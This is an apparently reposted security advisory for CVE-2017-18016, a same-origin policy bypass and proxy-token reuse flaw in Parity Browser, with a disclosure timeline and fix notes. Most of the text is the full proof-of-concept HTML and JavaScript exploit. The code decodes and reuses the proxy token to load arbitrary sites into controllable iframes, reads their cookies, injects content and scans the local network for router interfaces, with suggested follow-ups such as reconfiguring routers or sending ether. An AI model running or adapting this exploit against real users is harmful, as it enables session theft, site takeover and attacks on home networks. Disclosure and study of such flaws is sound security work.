Parity Browser < 1.6.10 Bypass Same Origin Policy

2018.01.12
Credit: tintinweb
Risk: Low
Local: No
Remote: Yes
CWE: CWE-346


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Brak
Wpływ na dostępność: Brak

VuNote ====== Author: <github.com/tintinweb> Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-18016 Version: 0.3 Date: Jun 16th, 2017 Tag: parity same origin policy bypass webproxy token reuse Overview -------- Name: parity Vendor: paritytech References: * https://parity.io/ [1] Version: 1.6.8 Latest Version: 1.7.12 (stable) - fixed 1.8.5 (beta) - fixed Other Versions: <= 1.6.10 (stable) - vulnerable Platform(s): cross Technology: rust js Vuln Classes: CWE-346 Origin: local (remote website, malicious dapp) Min. Privs.: --- CVE: CVE-2017-18016 Description --------- quote website [1] >Parity Technologies is proud to present our powerful new Parity Browser. Integrated directly into your Web browser, Parity is the fastest and most secure way of interacting with the Ethereum network. Summary ------- PoC: https://tintinweb.github.io/pub/pocs/cve-2017-18016/ [4] > Parity Browser <=1.6.8 allows remote attackers to bypass the Same Origin Policy and obtain sensitive information by requesting other websites via the Parity web proxy engine (reusing the current website's token, which is not bound to an origin). ![parity cookie](sop_cookie.gif) **(A)** Ethereum Parity's built-in dapp/web-browsing functionality is rendering browser same-origin policy (SOP) ineffective by proxying requests with the parity main process. As a result, any website navigated to ends up being origin http://localhost:8080. This also means that all websites navigated to share the same origin and thus are not protected by the browser SOP allowing any proxied website/dapp to access another proxied website/dapp's resources (Cookies, ...). //see attached PoC - index.html / PoC ![parity frame](sop_frame.gif) **(B)** Worse, due to the structure of proxy cache urls and the fact that they contain a reusable non-secret non-url specific cache-token it is possible for one proxied website/dapp to navigate to any other proxied website/dapp gaining full script/XHR control due to **(A)** the SOP being applied without any restrictions. This could allow a malicious website/dapp to take control of another website/dapp, performing user interactions, XHR or injecting scripts/DOM elements to mislead the user or to cause other unspecified damage. When navigating to a website with the built-in parity webbrowser a webproxy request token is requested and sent along an encoded request for an url. For example, navigating parity to http://oststrom.com the url gets turned into a proxy url like http://127.0.0.1:8080/web/8X4Q4EBJ71SM2CK6E5AQ6YBNB4NPGX3ME0X2YBVFEDT76X3JDXPJWRVFDM of the form http://127.0.0.1:8080/web/[base32_encode(token+url)]. A malicious dapp can use this information to decode its own url, extract the token and reuse it for any other url as the token is not locked to the url. The PoC exploits this in order to load any other website into a same-origin iframe by reusing the proxy token. Code see [2] //see attached PoC - index.html / PoC Proof of Concept ---------------- Prerequisites: * (if hosted locally) modify /etc/hosts to resolve your testdomain to your webserver * make `index.html` accessible on a webserver (e.g. `cd /path/to/index.html; python -m SimpleHTTPServer 80`) 1. launch parity, navigate to the built-in webbrowser (http://127.0.0.1:8180/#/web) 2. navigate the built-in parity webbrowser to where the PoC `index.html` is hosted (e.g. [4]) 3. follow the instructions. 4. Issue 1: navigate to some websites to have them set cookies, reload the PoC page and click "Display Cookies". Note that while the main request is proxied by parity, subsequent calls might not be (e.g. xhr, resources). That means you'll only see cookies set by the main site as only the initial call shares the origin `localhost:8080`. 5. Issue 2: enter an url into the textbox and hit `Spawn SOP Iframe`. A new iframe will appear on the bottom of the page containing the proxied website. Note that the calling website has full script/dom/xhr access to the proxied target. You can also use the "Display Cookies" button from Issue 1 to show cookies that have been merged into the origin by loading the proxied iframe. 6. Demo 2: Just a PoC to find local-lan web interfaces (e.g. your gateways web interface) and potentially mess with its configuration (e.g. router with default password on your lan being reconfigured by malicious dapp that excploits the token reuse issue 2) //tested with latest chrome Notes ----- * Commit [3] (first in 1.7.0) * Does not fix Issue #1 - sites are generally put into same origin due to proxy * Fixes Issue #2 - Token Reuse * Parity now added a note that browsing websites with their browser is insecure ![parity fixed](v171.png) * Issue #1 is not yet fixed as the cookie of instagram.com is still shown. * Parity v1.7.12 added a note. Timeline -------- 31.05.2017 - first contact, forwarded to parity 17.06.2017 - provided PoC 19.06.2017 - response: not critical issue due to internal browser being a dapp browser and not a generic web browser 20.06.2017 - provided more information 21.06.2017 - response: not critical issue due to internal browser being a dapp browser and not a generic web browser 21.06.2017 - response: follow-up - looking into means to lock the token to a website 22.06.2017 - fix ready [3] 10.01.2018 - public disclosure References ---------- [1] https://parity.io/ [2] https://github.com/paritytech/parity/blame/e8b418ca03866fd952d456830b30e9225c81035a/dapps/src/web.rs [3] https://github.com/paritytech/parity/commit/53609f703e2f1af76441344ac3b72811c726a215 [4] https://tintinweb.github.io/pub/pocs/cve-2017-18016/ Contact ------- https://github.com/tintinweb <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content="cve-2017-18016 paritytech parity same origin policy bypass sop"> <meta name="author" content="github.com/tintinweb"> <!--<link rel="icon" href="favicon.ico">--> <title>Ethereum | Parity SOP Vulnerability</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous"> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script> <script type="text/javascript"> ;(function(){ // This would be the place to edit if you want a different // Base32 implementation var alphabet = '0123456789ABCDEFGHJKMNPQRSTVWXYZ'.toLowerCase() var alias={} //var alias = { o:0, i:1, l:1, s:5 } /** * Build a lookup table and memoize it * * Return an object that maps a character to its * byte value. */ var lookup = function() { var table = {} // Invert 'alphabet' for (var i = 0; i < alphabet.length; i++) { table[alphabet[i]] = i } // Splice in 'alias' for (var key in alias) { if (!alias.hasOwnProperty(key)) continue table[key] = table['' + alias[key]] } lookup = function() { return table } return table } /** * A streaming encoder * * var encoder = new base32.Encoder() * var output1 = encoder.update(input1) * var output2 = encoder.update(input2) * var lastoutput = encode.update(lastinput, true) */ function Encoder() { var skip = 0 // how many bits we will skip from the first byte var bits = 0 // 5 high bits, carry from one byte to the next this.output = '' // Read one byte of input // Should not really be used except by "update" this.readByte = function(byte) { // coerce the byte to an int if (typeof byte == 'string') byte = byte.charCodeAt(0) if (skip < 0) { // we have a carry from the previous byte bits |= (byte >> (-skip)) } else { // no carry bits = (byte << skip) & 248 } if (skip > 3) { // not enough data to produce a character, get us another one skip -= 8 return 1 } if (skip < 4) { // produce a character this.output += alphabet[bits >> 3] skip += 5 } return 0 } // Flush any remaining bits left in the stream this.finish = function(check) { var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '') this.output = '' return output } } /** * Process additional input * * input: string of bytes to convert * flush: boolean, should we flush any trailing bits left * in the stream * returns: a string of characters representing 'input' in base32 */ Encoder.prototype.update = function(input, flush) { for (var i = 0; i < input.length; ) { i += this.readByte(input[i]) } // consume all output var output = this.output this.output = '' if (flush) { output += this.finish() } return output } // Functions analogously to Encoder function Decoder() { var skip = 0 // how many bits we have from the previous character var byte = 0 // current byte we're producing this.output = '' // Consume a character from the stream, store // the output in this.output. As before, better // to use update(). this.readChar = function(char) { if (typeof char != 'string'){ if (typeof char == 'number') { char = String.fromCharCode(char) } } char = char.toLowerCase() var val = lookup()[char] if (typeof val == 'undefined') { // character does not exist in our lookup table return // skip silently. An alternative would be: // throw Error('Could not find character "' + char + '" in lookup table.') } val <<= 3 // move to the high bits byte |= val >>> skip skip += 5 if (skip >= 8) { // we have enough to preduce output this.output += String.fromCharCode(byte) skip -= 8 if (skip > 0) byte = (val << (5 - skip)) & 255 else byte = 0 } } this.finish = function(check) { var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '') this.output = '' return output } } Decoder.prototype.update = function(input, flush) { for (var i = 0; i < input.length; i++) { this.readChar(input[i]) } var output = this.output this.output = '' if (flush) { output += this.finish() } return output } /** Convenience functions * * These are the ones to use if you just have a string and * want to convert it without dealing with streams and whatnot. */ // String of data goes in, Base32-encoded string comes out. function encode(input) { var encoder = new Encoder() var output = encoder.update(input, true) return output } // Base32-encoded string goes in, decoded data comes out. function decode(input) { var decoder = new Decoder() var output = decoder.update(input, true) return output } /** * sha1 functions wrap the hash function from Node.js * * Several ways to use this: * * var hash = base32.sha1('Hello World') * base32.sha1(process.stdin, function (err, data) { * if (err) return console.log("Something went wrong: " + err.message) * console.log("Your SHA1: " + data) * } * base32.sha1.file('/my/file/path', console.log) */ var crypto, fs function sha1(input, cb) { if (typeof crypto == 'undefined') crypto = require('crypto') var hash = crypto.createHash('sha1') hash.digest = (function(digest) { return function() { return encode(digest.call(this, 'binary')) } })(hash.digest) if (cb) { // streaming if (typeof input == 'string' || Buffer.isBuffer(input)) { try { return cb(null, sha1(input)) } catch (err) { return cb(err, null) } } if (!typeof input.on == 'function') return cb({ message: "Not a stream!" }) input.on('data', function(chunk) { hash.update(chunk) }) input.on('end', function() { cb(null, hash.digest()) }) return } // non-streaming if (input) { return hash.update(input).digest() } return hash } sha1.file = function(filename, cb) { if (filename == '-') { process.stdin.resume() return sha1(process.stdin, cb) } if (typeof fs == 'undefined') fs = require('fs') return fs.stat(filename, function(err, stats) { if (err) return cb(err, null) if (stats.isDirectory()) return cb({ dir: true, message: "Is a directory" }) return sha1(require('fs').createReadStream(filename), cb) }) } var base32 = { Decoder: Decoder, Encoder: Encoder, encode: encode, decode: decode, sha1: sha1 } if (typeof window !== 'undefined') { // we're in a browser - OMG! window.base32 = base32 } if (typeof module !== 'undefined' && module.exports) { // nodejs/browserify module.exports = base32 } })(); </script> <script type="text/javascript"> function new_parity_proxy_url(destination){ //get current webproxy token (we'll just be reusing this one) var url_decoded = base32.decode(document.location.search.match(/web\/(.*)$/)[1]); var token = url_decoded.split("+")[0]; console.log(document.location); console.log(url_decoded); console.log(token); console.log(token + "+" + destination); var new_url = document.location.origin + "/web/" + base32.encode(token + "+" + destination).toUpperCase(); console.log(new_url); return new_url; } function sop_iframe_inject (destination){ d = document.createElement("div"); d.id=destination; d.style="border-style: dashed"; document.body.appendChild(d); d_data = document.createElement("div"); i = document.createElement("iframe"); i.sandbox = "allow-same-origin allow-forms allow-pointer-lock allow-scripts allow-popups allow-modals"; i.style = "resize: both; overflow: auto;" d.appendChild(i); d.appendChild(d_data); var proxied_url = new_parity_proxy_url(destination); i.onload = function() { //fix the document removing the injection script var doc = i.contentWindow.document; var doc_html = doc.documentElement.outerHTML; doc_html = doc_html.replace("<script src=\"\/parity-utils\/inject.js\"><\/script>","").replace("<\/head><body style=\"background-color: #FFFFFF;\">",""); doc.open(); doc.write(doc_html); doc.close(); i.contentDocument.head.innerHTML = "<title>INJECTED</title>"; // just do anything i.contentDocument.body.prepend("!--> Injected from parent frame!"); d_data.innerHTML = "<br><br>"; d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have full control over iframe:'+destination+'</div>'; d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames Cookie value: <pre>' + i.contentDocument.cookie + '<pre></div>'; d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames dom title: <pre>' + i.contentDocument.head.title + '<pre></div>'; d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames window.location.href: <pre>' + i.contentWindow.location.href + '<pre></div>'; d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have prepended a body element :<b>!--> Injected from parent frame!</b></div>'; d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have removed inject.js from the target frame:'+destination+'<br></div>'; d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] source (via xhr): <textarea>'+getUrl(proxied_url).responseText+'</textarea></div>'; }; //navigate to url (poor mans location setter :p) i.contentWindow.location.replace(proxied_url); } function get_lan_ip(cb){ window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; //compatibility for firefox and chrome var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){}; pc.createDataChannel(""); //create a bogus data channel pc.createOffer(pc.setLocalDescription.bind(pc), noop); // create offer and set local description pc.onicecandidate = function(ice){ //listen for candidate events if(!ice || !ice.candidate || !ice.candidate.candidate) return; var myIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1]; cb(myIP); pc.onicecandidate = noop; }; } function getUrl(url){ var xhr = new XMLHttpRequest; xhr.open('GET', url, false); //synchronous. xhr.send(); return xhr; }; function find_local_web_interfaces(){ get_lan_ip(function(local_ip){ /** find routers on local lan segment try .1 and .254 first, otherwise bruteforce **/ var local_ip_netpart = local_ip.split(".").slice(0,3).join(".") console.log("your local ip: "+local_ip); console.log("testing lan segment: " + local_ip_netpart); function get_candidate_ips(base){ var ret = new Array(); ret.push(1); ret.push(254); for(var i=2; i<254; i++){ ret.push(i); } return ret; } var candidate_ips = get_candidate_ips(); for (i=0;i<candidate_ips.length;i++){ //synchronously. avoid dos'ing parity prx var probe_ip = local_ip_netpart + "." + candidate_ips[i]; console.log("probing "+probe_ip); var parity_probe_url = new_parity_proxy_url("http://"+probe_ip); if (getUrl(parity_probe_url).status<400){ console.log("HIT! - "+probe_ip+" is available! " +parity_probe_url); sop_iframe_inject(parity_probe_url); if (document.getElementById("stop_on_first_hit").checked) return; } } }); } </script> </head> <body> <!-- Fixed navbar --> <nav class="navbar navbar-inverse navbar-fixed-top"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">Parity Vulnerability</a> </div> <div id="navbar" class="navbar-collapse collapse"> <ul class="nav navbar-nav"> <li class="active"><a href="#">Home</a></li> <li><a href="#contact">Contact</a></li> </ul> </div><!--/.nav-collapse --> </div> </nav> <div class="container theme-showcase" role="main"> <!-- Main jumbotron for a primary marketing message or call to action --> <div class="jumbotron"> <h1>Parity SOP Bypass</h1> <p>Same-Origin Policy Bypass in Parity's Dapp Browser</p> </div> <div class="well"> <p> <b>Disclaimer</b> <pre>/* This program is free software. It comes without any warranty, to * the extent permitted by applicable law. You can redistribute it * and/or modify it under the terms of the GNU General Public License, * Version 2, as published by the Free Software Foundation. See * github.com/tintinweb/pub/tree/master/pocs/cve-2017-18016/ * for more details. */ </pre></p> </div> <p> <button type="button" class="btn btn-primary" onclick="alert('Ok, thanks ;)')">I agree!</button> </p> <div class="jumbotron"> <h1 class="display-4">Issue #1</h1> <p class="lead">Same-Origin Policy (SOP) bypass vulnerability due to parity proxying websites</p> <hr class="my-4"> <div> Every webpage you browse to with parity's built-in browser (http://127.0.0.1:8180/#/web) is proxied via http://127.0.0.1:8080. For example, when you browse to <ul> <li>http://google.com's the websites origin changes to 127.0.0.1:8080.</li> <li>Navigating to http://oststrom.com changes the origin to 127.0.0.1:8080 as it is proxied via parity.</li> </ul> Both websites therefore share the same origin rendering a core feature of modern web browsers - the <b>Same-Origin Policy</b> - ineffective. A website is same-origin if <b>proto, host and port</b> (iexplore does not check port) match. Bypassing the SOP gives full control over XHR and DOM of child nodes (including iframe source) with the same origin. </div> <div class="alert alert-warning" role="alert"> <span class="badge badge-warning">Warning</span> This means, as there's only <u>one origin for all websites</u>, non domain restricted cookies are effectively shared with all websites. </div> <b><span class="badge badge-primary">DEMO #1</span> Cookies shared with other websites</b> <ul> <li>1) using parity's built-in browser, navigate to any website to set a cookie (e.g. http://google.com)</li> <li>2) reload this this PoC (https://tintinweb.github.io/pub/pocs/cve-2017-18016/) </li> <li>3) hit the <b>Display Cookies</b> button</li> </ul> <p class="lead"> <textarea id="txtdomcookie"></textarea><br> <a class="btn btn-primary btn-lg" role="button" onclick="document.getElementById('txtdomcookie').value=document.cookie">Display Cookies</a> </p> </div> <div class="jumbotron"> <h1 class="display-4">Issue #2</h1> <p class="lead">Parity WebProxy Token Reuse vulnerability</p> <hr class="my-4"> <div>When navigating to a website with the built-in parity webbrowser a webproxy request token is requested and sent along an encoded request for an url. For example, navigating parity to http://oststrom.com the url gets turned into a proxy url like http://127.0.0.1:8080/web/8X4Q4EBJ71SM2CK6E5AQ6YBNB4NPGX3ME0X2YBVFEDT76X3JDXPJWRVFDM of the form http://127.0.0.1:8080/web/[base32_encode(token+url)].</div> <br> <div class="alert alert-warning" role="alert"> <span class="badge badge-warning">Warning</span> When navigating to http://oststrom.com the website can detect that it has been proxied by checking the location.href. It can further base32 decode and extract the web-proxy token and simply reuse it as the token is not bound to any specifiy request url or hostname allowing any website to create proxy urls and navigate to any other website. </div> <div class="alert alert-info" role="alert"> <span class="badge badge-info">Info</span> The parity webbrowser does not allow a proxied website to change the top frames location or open new windows (iframe sandbox). </div> <div class="alert alert-warning" role="alert"> <span class="badge badge-warning">Warning</span> However, it allows to perform XHR or embed iframes with script access to proxied locations of arbitrary websites. This allows one website to control any other website since they're both same origin (Issue 1). </div> <div class="alert alert-info" role="alert"> <span class="badge badge-info">Info</span> The controlling website has full scripting access to sub-iframes potentially allowing for service enumeration attacks or simulate user interaction. </div> <br><br> <b><span class="badge badge-primary">DEMO #2</span> Full control of arbitrary websites via token reuse and SOP bypass</b> <ul> <li>1) enter url into the textbox</li> <li>2) hit <b>Spawn SOP Iframe</b></li> </ul> <b>Notes:</b> <ul> <li><span class="badge badge-light">Note</span> the current page can modify/inject arbitrary DOM/scripting into the iframe, access cookies (only the ones stored for 127.0.0.1, potentially from prevs sessions with parity), manipulate change and reload the websites content (e.g. removing parity's inject.js), get the source via XHR</li> <li><span class="badge badge-light">Note</span> some websites may not load due to js errors. However, since the website has full control it is likely the calling website can fix any js errors occuring in the subframe.</li> <li><span class="badge badge-light">Note</span> Untested but likely possible: Prepare a transaction to send off ether via parity/web3 api or xhr, open an iframe or perform requests to directly authorize (may require unlock secret) or redress the UI to clickjack the authorization or perform other actions messing with the users account</li> </ul> <br> <p class="lead"> <a class="btn btn-primary btn-lg" role="button" onclick="sop_iframe_inject(document.getElementById('dst').value)">Spawn SOP Iframe</a> <input type=text value="http://myetherwallet.com" id="dst"> </p> <br><br> <b><span class="badge badge-primary">DEMO #3</span> (Chrome) get local lan ip and service scan for web-enabled devices on the LAN to mess with them</b><br> e.g. search for local router interfaces with default passwords and reconfigure it to perform DNS based redirection attacks (mitm) or similar <ul> <li>1) click 'Find LAN-Local WebInterfaces' to scan for devices listening on http port 80 within your LAN (IP .1 to .254)</li> <li>2) an iframe with full control will be created for each device found on the lan</li> <li>Note: might require some fixups for the iframe conted to be loaded completely due to parity webproxy messing with header scripts or websites unable to be loaded via iframes. XHR should work though and CSRF tokens can be read from XHR requests or iframe dom (if dom based). See javascript console for debug.</li> </ul> <p class="lead"> <a class="btn btn-primary btn-lg" role="button" onclick="find_local_web_interfaces()">Find LAN-Local WebInterfaces</a> </p> <input type="checkbox" value="stop_on_first_hit" name="stop_on_first_hit" id="stop_on_first_hit"><label for="stop_on_first_hit">Stop on first device</label> </div> <div class="page-header"> <h1 id="contact">Contact</h1> </div> <div> <a href="https://github.com/tintinweb">//tintinweb</a> </div> </div> <!-- /container --> </body> </html>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top